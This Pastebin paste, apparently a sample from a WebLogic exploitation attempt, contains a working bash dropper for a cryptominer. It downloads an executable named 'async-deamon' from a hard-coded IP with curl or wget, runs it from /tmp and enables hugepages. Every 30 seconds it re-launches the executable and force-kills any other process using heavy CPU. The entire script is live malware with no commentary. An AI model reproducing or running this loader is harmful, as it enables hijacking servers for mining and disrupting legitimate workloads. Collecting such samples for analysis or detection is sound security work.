thlnk3r

wls_vuln_attempt_94.177.123.123_linux_lower

Jan 11th, 2018
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. #!/bin/bash
  2. function kills() {
  3. /bin/ps axf -o "pid %cpu command" |grep -v async-deamon | awk '{if($2>60.0) print $1}' | while read procid
  4. do
  5. kill -9 $procid
  6. done
  7. }
  8.  
  9. function hugepage() {
  10. echo 128 > /proc/sys/vm/nr_hugepages
  11. sysctl -w vm.nr_hugepages=128
  12. }
  13.  
  14. function downloadyam() {
  15. if [ ! -f "async-deamon" ] ;then
  16. curl http://94.177.123.123/css/async-deamon > /tmp/async-deamon && chmod +x /tmp/async-deamon
  17. if [ ! -f "async-deamon" ] ;then
  18. wget -P /tmp/ curl http://94.177.123.123/css/async-deamon && chmod +x /tmp/async-deamon
  19. rm -rf /tmp/async-deamon.*
  20. fi
  21. /tmp/async-deamon &
  22. else
  23. p=$(ps aux | grep async-deamon | grep -v grep | wc -l)
  24. if [ ${p} -eq 1 ];then
  25. echo "async-deamon"
  26. elif [ ${p} -eq 0 ];then
  27. /tmp/async-deamon &
  28. else
  29. echo ""
  30. fi
  31. fi
  32. }
  33.  
  34. cd /tmp/
  35. while [ 1 ]
  36. do
  37. downloadyam
  38. kills
  39. sleep 30
  40. done
Add Comment
Please, Sign In to add comment